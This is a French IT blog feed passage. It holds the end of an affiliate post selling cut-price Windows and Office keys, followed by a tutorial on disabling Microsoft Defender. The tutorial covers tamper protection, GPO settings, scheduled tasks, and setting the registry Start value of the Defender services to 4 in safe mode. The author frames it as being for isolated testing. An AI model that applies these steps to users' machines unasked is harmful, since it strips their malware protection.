<li><a href="https://fr.godeal24.com/ms-windows-11-pro-cd-key.html?g24=gole83" target="_blank" rel="noopener nofollow" title=""><strong>Windows 11 Pro (1 PC) </strong></a><strong>– 13.25€</strong></li>



<li><a href="https://fr.godeal24.com/microsoft-windows-11-professional-2-keys.html?g24=gole83" target="_blank" rel="noopener nofollow" title="">Windows 11 Pro (2 PC)</a> – 24.75€ (seulement 12.38€/PC)</li>



<li><a href="https://fr.godeal24.com/windows-11-home-key-1-pc.html?g24=gole83" target="_blank" rel="noopener nofollow" title="">Windows 11 Famille (1 PC)</a> – 13.05€</li>



<li><a href="https://fr.godeal24.com/windows-10-professiona-key.html?g24=gole83" target="_blank" rel="noopener nofollow" title=""><strong>Windows 10 Pro (1 PC)</strong></a><strong> - 8.25€</strong></li>



<li><a href="https://fr.godeal24.com/windows-10-professional-32-64-bit-couple-2-pc.html?g24=gole83" target="_blank" rel="noopener nofollow" title=""><strong>Windows 10 Pro (2 PC)</strong></a><strong> – 14.25€ (seulement 7.13€/PC)</strong></li>



<li><a href="https://fr.godeal24.com/ms-windows-10-home-cd-key-32-64-bit.html?g24=gole83" target="_blank" rel="noopener nofollow" title="">Windows 10 Famille (1 PC)</a> - 8.15€</li>



<li><a href="https://fr.godeal24.com/windows-10-home-cd-key-32-64-bit-couple-2-pc.html?g24=gole83" target="_blank" rel="noopener nofollow" title="">Windows 10 Famille (2 PC)</a> – 14.45€ (seulement 7.24€/PC)</li>
</ul>



<p><strong><img src="media/39c692a3.2b50.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/2b50.png" alt="⭐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Bundles Windows + Office</strong></p>



<ul>
<li><a href="https://fr.godeal24.com/windows-11-pro-office-2021-pro-bundle.html?g24=gole83" target="_blank" rel="noopener nofollow" title=""><strong>Windows 11 Pro + Office 2021 Pro Plus Bundle</strong></a><strong> - 36.59€</strong></li>



<li><a href="https://fr.godeal24.com/windows-11-pro-office-2019-pro-bundle.html?g24=gole83" target="_blank" rel="noopener nofollow" title="">Windows 11 Pro + Office 2019 Pro Plus Bundle</a> - 34.11€</li>



<li><a href="https://fr.godeal24.com/windows-10-pro-office-2021-pro-bundle.html?g24=gole83" target="_blank" rel="noopener nofollow" title=""><strong>Windows 10 Pro + Office 2021 Pro Plus Bundle</strong></a><strong> – 32.56€</strong></li>



<li><a href="https://fr.godeal24.com/windows-10-pro-office-2019-pro-bundle.html?g24=gole83" target="_blank" rel="noopener nofollow" title="">Windows 10 Pro + Office 2019 Pro Plus Bundle </a>- 28.29€</li>
</ul>



<p>Vous devez utiliser le code promo "<strong>VDL62</strong>" pour bénéficier de ces tarifs.</p>



<p><strong><img src="media/39c692a3.2b50.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/2b50.png" alt="⭐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Des licences en pack de 50 et 100 !</strong></p>



<ul>
<li><a href="https://fr.godeal24.com/windows-10-professional-50-keys.html?g24=gole83" target="_blank" rel="noopener nofollow" title="">Windows 10 Pro (50 PC)</a> - 325€ (seulement 6.5€/PC)</li>



<li><a href="https://fr.godeal24.com/windows-10-professional-100-keys.html?g24=gole83" target="_blank" rel="noopener nofollow" title="">Windows 10 Pro (100 PC)</a> – 600€ (seulement 6€/PC)        </li>



<li><a href="https://fr.godeal24.com/windows-11-professional-50-keys.html?g24=gole83" target="_blank" rel="noopener nofollow" title="">Windows 11 Pro (50 PC)</a> – 400€ (seulement 8€/PC)</li>



<li><a href="https://fr.godeal24.com/windows-11-professional-100-keys.html?g24=gole83" target="_blank" rel="noopener nofollow" title="">Windows 11 Pro (100 PC)</a> – 750€ (seulement 7.5€/PC)</li>



<li><a href="https://fr.godeal24.com/microsoft-office-2021-pro-plus-50-keys.html?g24=gole83" target="_blank" rel="noopener nofollow" title="">Microsoft Office 2021 Pro (50 PC)</a> – 1050€ (seulement 21€/PC)</li>



<li><a href="https://fr.godeal24.com/microsoft-office-2021-pro-plus-100-keys.html?g24=gole83" target="_blank" rel="noopener nofollow" title="">Microsoft Office 2021 Pro (100 PC)</a> – 2000€ (seulement 20€/PC)</li>
</ul>



<p><strong><img src="media/39c692a3.2b50.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/2b50.png" alt="⭐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Microsoft Visio, Project ou Windows Server</strong></p>



<ul>
<li><a href="https://fr.godeal24.com/microsoft-visio-professional-2021-key.html?g24=gole83" target="_blank" rel="noopener nofollow" title="">Microsoft Visio Pro 2021 (1 PC)</a> - 30.23€</li>



<li><a href="https://fr.godeal24.com/microsoft-project-professional-2021.html?g24=gole83" target="_blank" rel="noopener nofollow" title="">Microsoft Project Pro 2021 (1 PC)</a> - 33.82€</li>



<li><a href="https://fr.godeal24.com/windows-server-2022-standard.html?g24=gole83" target="_blank" rel="noopener nofollow" title="">Windows Server 2022 Standard</a> - 26.13€</li>



<li><a href="https://fr.godeal24.com/windows-server-2019-standard.html?g24=gole83" target="_blank" rel="noopener nofollow" title="">Windows Server 2019 Standard</a> - 16.06€</li>



<li><a href="https://fr.godeal24.com/windows-server-2022-datacenter.html?g24=gole83" target="_blank" rel="noopener nofollow" title="">Windows Server 2022 Datacenter </a>- 30.75€</li>



<li><a href="https://fr.godeal24.com/windows-10-enterprise-ltsc-2021-1-pc.html?g24=gole83" target="_blank" rel="noopener nofollow" title="">Windows 10 Enterprise 2021 LTSC</a> - 12.81€</li>
</ul>



<p>Vous devez utiliser le code promo "<strong>VDL50</strong>" pour bénéficier de ces tarifs.</p>



<p><strong><img src="media/39c692a3.2b50.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/2b50.png" alt="⭐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Bonus : des logiciels à prix réduits</strong></p>



<ul>
<li><a href="https://fr.godeal24.com/ashampoo-pdf-pro-3.html?g24=gole83" target="_blank" rel="noopener nofollow" title="">Ashampoo PDF Pro 3</a> – 16.99€</li>



<li><a href="https://fr.godeal24.com/adguard-for-windows-mac-android-ios-3-devices.html?g24=gole83" target="_blank" rel="noopener nofollow" title="">Adguard - 3 Appareils - Lifetime</a> – 27.66€</li>
</ul>



<p>Plus d'offres sur les logiciels sur <a href="https://fr.godeal24.com/special-sale-for-tools.html?g24=gole83" target="_blank" rel="noopener nofollow" title="">cette page</a> !</p>



<h2 class="wp-block-heading">Au sujet des licences</h2>



<p>GoDeal24 propose des licences commerciales (plusieurs ordinateurs) et des licences OEM (associées au matériel sur lequel l'activation aura lieue la première fois). Le mode d'activation est différent, mais les fonctionnalités sont les mêmes. Conformément à la décision de la Cour de justice de l'Union européenne, les clés de logiciels d'occasion peuvent être vendues dans l'Union européenne en toute légalité.</p>



<p>Je vous rappelle que le paiement sur ce site peut être effectué à partir d'un <strong>compte PayPal</strong> ou par carte bancaire. Les offres présentées dans cet article sont limitées dans le temps et il s'agit de licences OEM. Ces offres sont gérées directement par le site Godeal24.com. <strong>Sur le site TrustPilot, il y a 98% d'évaluations positives.</strong></p>



<p>Si vous avez une question, que ce soit de l'avant-vente ou de l'après-vente, je vous invite à contacter le support du site godeal24.com à l'adresse e-mail suivante :<strong> service@godeal24.com</strong></p><p>The post <a href="https://www.it-connect.fr/bon-plan-licences-godeal24-windows-office-logiciels/">Les offres de Noël chez GoDeal24 : Office 2021 Pro à 25.25€, Windows 11 Pro à 13.25€</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=68883
title: Comment désactiver Windows Defender sur Windows 11 ou Windows 10 ?
uri: Comment-désactiver-Windows-Defender-sur-Windows-11-ou-Windows-10
url: https://www.it-connect.fr/comment-desactiver-windows-defender-sur-windows-11-ou-windows-10/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans ce tutoriel, nous allons voir comment désactiver la protection anti-virus et anti-malware de Windows Defender sur Windows 11 ou Windows 10, bien qu'il y ait des différences entre les deux systèmes d'exploitation.</strong></p>



<p>Pourquoi vous proposer de désactiver Windows Defender ? Ceci peut s'avérer utile pour<strong> tester certains outils de sécurité</strong> ou faire quelques démonstrations techniques sans être bloqué par Windows Defender. Bien entendu,<strong> je vous recommande de laisser actif Windows Defender (Microsoft Defender)</strong>, et d'effectuer vos tests dans une machine virtuelle ou une machine physique isolée.</p>



<p><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color"><strong>Sur votre machine en production, ne désactivez pas Windows Defender à moins d'avoir une autre solution de protection que vous souhaitez installer à la place (en principe la cohabitation est possible !).</strong></mark></p>



<p>Sachez que si vous avez besoin d'autoriser un fichier spécifique, vous pouvez aussi créer une exclusion. Vous pouvez vous référer à la <a href="https://support.microsoft.com/fr-fr/windows/rester-prot%C3%A9g%C3%A9-avec-s%C3%A9curit%C3%A9-windows-2ae0363d-0ada-c064-8b56-6a39afb6a963" target="_blank" rel="nofollow noopener">documentation de Microsoft</a>.</p>



<h2 class="wp-block-heading">II. Désactiver temporairement Windows Defender</h2>



<p>Sur votre machine Windows 11, recherchez "<strong>Sécurité Windows</strong>" puisqu'il s'agit du nom donné au centre de contrôle correspondant à Defender. En effet, dans "<strong>Sécurité Windows</strong>" vous pouvez gérer et configurer l'ensemble des modules de protection de Windows Defender.</p>


<div class="wp-block-image">
<figure class="aligncenter"><img fetchpriority="high" decoding="async" width="600" height="598" src="media/50cadfbf.Ouvrir-Securite-Windows-sur-Windows-11.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Ouvrir-Securite-Windows-sur-Windows-11.jpg" alt="Ouvrir Sécurité Windows sur Windows 11" class="wp-image-68893" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Ouvrir-Securite-Windows-sur-Windows-11.jpg 600w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Ouvrir-Securite-Windows-sur-Windows-11-550x548.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Ouvrir-Securite-Windows-sur-Windows-11-150x150.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Ouvrir-Securite-Windows-sur-Windows-11-50x50.jpg 50w" sizes="(max-width: 600px) 100vw, 600px" /></figure></div>


<p>Sur la gauche, cliquez sur "<strong>Protection contre les virus et menaces</strong>".</p>


<div class="wp-block-image">
<figure class="aligncenter"><img decoding="async" width="800" height="406" src="media/df5d7a60.Desactiver-Windows-Defender-sur-Windows-11-temporaire-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-temporaire-1.jpg" alt="Désactiver Windows Defender sur Windows 11 (temporaire) - 1" class="wp-image-68891" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-temporaire-1.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-temporaire-1-550x279.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-temporaire-1-150x76.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-temporaire-1-768x390.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-temporaire-1-50x25.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Une fois dans la section "<strong>Protection contre les virus et menaces</strong>", cliquez sur "<strong>Gérer les paramètres</strong>".</p>


<div class="wp-block-image">
<figure class="aligncenter"><img decoding="async" width="800" height="560" src="media/92b2d832.Desactiver-Windows-Defender-sur-Windows-11-temporaire-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-temporaire-2.jpg" alt="" class="wp-image-68890" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-temporaire-2.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-temporaire-2-550x385.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-temporaire-2-150x105.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-temporaire-2-768x538.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-temporaire-2-50x35.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-temporaire-2-130x90.jpg 130w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Ici, vous devez désactiver les différents modules de protection comme "<strong>Protection en temps réel</strong>" et "<strong>Protection dans le <a class="wpil_keyword_link" title="Cloud" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/stockage/cloud/" target="_blank" rel="noopener" data-wpil-keyword-link="linked">Cloud</a></strong>", ainsi que ceux plus bas dans la page.</p>


<div class="wp-block-image">
<figure class="aligncenter"><img decoding="async" width="800" height="651" src="media/b2e7d5b9.Desactiver-Windows-Defender-sur-Windows-11-temporaire-3.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-temporaire-3.jpg" alt="" class="wp-image-68889" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-temporaire-3.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-temporaire-3-550x448.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-temporaire-3-150x122.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-temporaire-3-768x625.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-temporaire-3-50x41.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>À partir de ce moment-là, la protection contre les menaces est désactivée dans Windows Defender, ce qui vous permet de faire vos tests ! Le problème, c'est qu'<strong>au prochain redémarrage</strong>, le module "<strong>Protection en temps réel</strong>" sera<strong> réactivé automatiquement par Windows</strong> ! Il y a un service qui va relancer la protection et vous embêter... C'est pour cette raison que la prochaine partie de l'article explique <strong>comment désactiver Defender de façon permanente</strong> !</p>



<h2 class="wp-block-heading">III. Désactiver Windows Defender (permanent)</h2>



<p>Il existe plusieurs méthodes pour désactiver Microsoft Defender de façon permanente : via le Registre Windows, via l'application Autoruns, et la configuration par stratégie de groupe. Pour cet exemple, c'est la méthode basée sur les paramètres de stratégies de groupe qui est expliquée, ce qui correspond à la stratégie locale d'une machine Windows.</p>



<p>Avant toute chose, vous devez veiller à bien désactiver le module "<strong>Protection contre les falsifications</strong>" en cliquant sur "<strong>Gérer les paramètres</strong>" sous "<strong>Protection contre les virus et menaces</strong>", sinon les paramètres de stratégie locale ne s'appliqueront pas.</p>


<div class="wp-block-image">
<figure class="aligncenter"><img decoding="async" width="800" height="471" src="media/930eba3d.Desactiver-Windows-Defender-sur-Windows-11-permanent-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-1.jpg" alt="Désactiver Windows Defender sur Windows 11 (permanent) - 1" class="wp-image-68888" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-1.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-1-550x324.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-1-150x88.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-1-768x452.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-1-50x29.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Une fois que c'est fait, recherchez "<strong>gpedit.msc</strong>" dans la zone de recherche Windows et validez.</p>



<p>Ceci va permettre d'ouvrir la console "<strong>Éditeur de stratégie de groupe locale</strong>". Parcourez les paramètres :</p>



<pre class="wp-block-preformatted">Configuration ordinateur &gt; Modèles d'administration &gt; Composants Windows &gt; Antivirus Microsoft Defender</pre>



<p>Nous avons un paramètre à activer à cet endroit, et un autre sous "<strong>Protection en temps réel</strong>".</p>


<div class="wp-block-image">
<figure class="aligncenter"><img decoding="async" width="800" height="551" src="media/baebdd35.Desactiver-Windows-Defender-sur-Windows-11-permanent-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-2.jpg" alt="Désactiver Windows Defender sur Windows 11 permanent GPO" class="wp-image-68887" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-2.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-2-550x379.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-2-150x103.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-2-768x529.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-2-50x34.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-2-130x90.jpg 130w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Commencer par <strong>activer</strong> le paramètre nommé "<strong>Désactiver l'antivirus Microsoft Defender</strong>".</p>


<div class="wp-block-image">
<figure class="aligncenter"><img decoding="async" width="680" height="632" src="media/1981b71f.Desactiver-Windows-Defender-sur-Windows-11-permanent-3.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-3.png" alt="Désactiver l'antivirus Microsoft Defender" class="wp-image-68886" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-3.png 680w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-3-550x511.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-3-150x139.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-3-50x46.png 50w" sizes="(max-width: 680px) 100vw, 680px" /></figure></div>


<p>Puis, en cliquant sur "<strong>Protection en temps réel</strong>", recherchez le paramètre nommé "<strong>Désactiver la protection en temps réel</strong>" afin de l'<strong>activer</strong> également.</p>


<div class="wp-block-image">
<figure class="aligncenter"><img decoding="async" width="677" height="631" src="media/c6f8768b.Desactiver-Windows-Defender-sur-Windows-11-permanent-4.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-4.png" alt="Désactiver la protection en temps réel Microsoft Defender" class="wp-image-68885" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-4.png 677w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-4-550x513.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-4-150x140.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-4-50x47.png 50w" sizes="(max-width: 677px) 100vw, 677px" /></figure></div>


<p>Pour finir, il est recommandé de<strong> désactiver quatre tâches planifiées liées à Windows Defender</strong> et que vous pouvez retrouver dans le Planificateur de tâches de Windows.</p>



<p>Commencez par ouvrir la console "<strong>Planificateur de tâches</strong>" que vous pouvez rechercher à partir du menu Démarrer. Parcourez l'arborescence de cette façon :</p>



<pre class="wp-block-preformatted">Microsoft &gt; Windows &gt; Windows Defender</pre>


<div class="wp-block-image">
<figure class="aligncenter"><img decoding="async" width="800" height="276" src="media/43699af5.Ouvrir-le-planificateur-de-taches-Windows-11.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Ouvrir-le-planificateur-de-taches-Windows-11.png" alt="Ouvrir le planificateur de tâches Windows 11" class="wp-image-68895" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Ouvrir-le-planificateur-de-taches-Windows-11.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Ouvrir-le-planificateur-de-taches-Windows-11-550x190.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Ouvrir-le-planificateur-de-taches-Windows-11-150x52.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Ouvrir-le-planificateur-de-taches-Windows-11-768x265.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Ouvrir-le-planificateur-de-taches-Windows-11-50x17.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Ici, sélectionnez les quatre tâches planifiées, effectuez un clic droit et cliquez sur "<strong>Désactiver</strong>".</p>



<ul>
<li>Windows Defender Cache Maintenance</li>



<li>Windows Defender Cleanup</li>



<li>Windows Defender Scheduled Scan</li>



<li>Windows Defender Verification</li>
</ul>


<div class="wp-block-image">
<figure class="aligncenter"><img decoding="async" width="800" height="569" src="media/aa2dbaf6.Desactiver-les-taches-planifiees-Windows-Defender.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-les-taches-planifiees-Windows-Defender.png" alt="Désactiver les tâches planifiées Windows Defender" class="wp-image-68894" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-les-taches-planifiees-Windows-Defender.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-les-taches-planifiees-Windows-Defender-550x391.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-les-taches-planifiees-Windows-Defender-150x107.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-les-taches-planifiees-Windows-Defender-768x546.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-les-taches-planifiees-Windows-Defender-50x36.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p><strong>Voilà, c'est tout pour Windows 10 (certaines versions) et Windows Server 2016. Mais, à partir de Windows 10 version 1903 et Windows 11, cette technique par GPO n'est pas suffisamment efficace. Nous devons effectuer d'autres modifications.</strong> D'un côté ceci est rassurant, cela veut dire que Defender est plutôt "résistant".</p>



<p>Vous devez redémarrer votre PC en mode sans échec de façon à pouvoir désactiver le démarrage de certains services. Accédez à "<strong>msconfig</strong>" (Configuration du système), cliquez sur "<strong>Démarrer</strong>" et cochez l'option "<strong>Démarrage sécurisé</strong>" (en mode minimal). Cliquez sur "<strong>OK</strong>" et validez redémarrez votre PC.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="427" src="media/5687c30b.Desactiver-Windows-Defender-Windows-11-Boot.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Desactiver-Windows-Defender-Windows-11-Boot.jpg" alt="" class="wp-image-73587" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Desactiver-Windows-Defender-Windows-11-Boot.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Desactiver-Windows-Defender-Windows-11-Boot-550x294.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Desactiver-Windows-Defender-Windows-11-Boot-150x80.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Desactiver-Windows-Defender-Windows-11-Boot-768x410.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Desactiver-Windows-Defender-Windows-11-Boot-50x27.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>La machine peut mettre plusieurs minutes à redémarrer. Quand c'est fait, connectez-vous et vous aurez accès à votre session en mode sans échec. Ouvrez le Registre Windows, afin de changer l'état de plusieurs services. <strong>Parcourez l'arborescence du Registre comme ceci :</strong></p>



<pre class="wp-block-code"><code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services</code></pre>



<p>Ici,<strong> vous devez désactiver le démarrage de plusieurs services Windows</strong>. Pour cela, recherchez le service dans la liste, cliquez dessus et modifiez la valeur de Registre "<strong>Start</strong>" correspondante à chaque service pour lui attribuer la valeur "<strong>4</strong>". Voici la liste des services (dans l'ordre que vous pourrez les trouver) à modifier :</p>



<ul>
<li>Sense</li>



<li>WdBoot</li>



<li>WdFilter</li>



<li>WdNisDrv</li>



<li>WdNisSvc</li>



<li>WinDefend</li>
</ul>



<p>Voici un exemple avec le service "Sense" :</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="527" src="media/324bdd69.Desactiver-Windows-Defender-Windows-11-Registre-800x527.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Desactiver-Windows-Defender-Windows-11-Registre-800x527.jpg" alt="" class="wp-image-73588" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Desactiver-Windows-Defender-Windows-11-Registre-800x527.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Desactiver-Windows-Defender-Windows-11-Registre-550x362.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Desactiver-Windows-Defender-Windows-11-Registre-150x99.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Desactiver-Windows-Defender-Windows-11-Registre-768x506.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Desactiver-Windows-Defender-Windows-11-Registre-50x33.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Desactiver-Windows-Defender-Windows-11-Registre.jpg 1026w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Petite parenthèse : par la suite, si vous souhaitez revenir en arrière, vous devez remettre les valeurs d'origines. Voici la liste, pour info :</p>



<ul>
<li>Sense : 3</li>



<li>WdBoot : 0 </li>



<li>WdFilter : 0</li>



<li>WdNisDrv : 3</li>



<li>WdNisSvc : 3</li>



<li>WinDefend : 2</li>
</ul>



<p>Quand c'est fait, vous devez désactiver le mode sans échec et redémarrer la machine. Retournez dans "<strong>msconfig</strong>" afin de décocher l'option "<strong>Démarrage sécurisé</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="476" src="media/e88a5a58.Desactiver-Windows-Defender-Windows-11-Boot-off.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Desactiver-Windows-Defender-Windows-11-Boot-off.jpg" alt="" class="wp-image-73589" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Desactiver-Windows-Defender-Windows-11-Boot-off.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Desactiver-Windows-Defender-Windows-11-Boot-off-550x327.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Desactiver-Windows-Defender-Windows-11-Boot-off-150x89.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Desactiver-Windows-Defender-Windows-11-Boot-off-768x457.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Desactiver-Windows-Defender-Windows-11-Boot-off-50x30.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Après redémarrage de Windows 11, vous verrez que la protection en temps réel est désactivée et Windows Defender n'est pas actif ! Si vous ne l'aviez pas encore fait, vous devez désactiver les tâches planifiées mentionnées ci-dessus.</p>


<div class="wp-block-image">
<figure class="aligncenter"><img decoding="async" width="713" height="521" src="media/0382303f.Desactiver-Windows-Defender-sur-Windows-11-permanent-5.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-5.png" alt="" class="wp-image-68884" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-5.png 713w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-5-550x402.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-5-150x110.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/09/Desactiver-Windows-Defender-sur-Windows-11-permanent-5-50x37.png 50w" sizes="(max-width: 713px) 100vw, 713px" /></figure></div>


<h2 class="wp-block-heading">IV. Conclusion</h2>



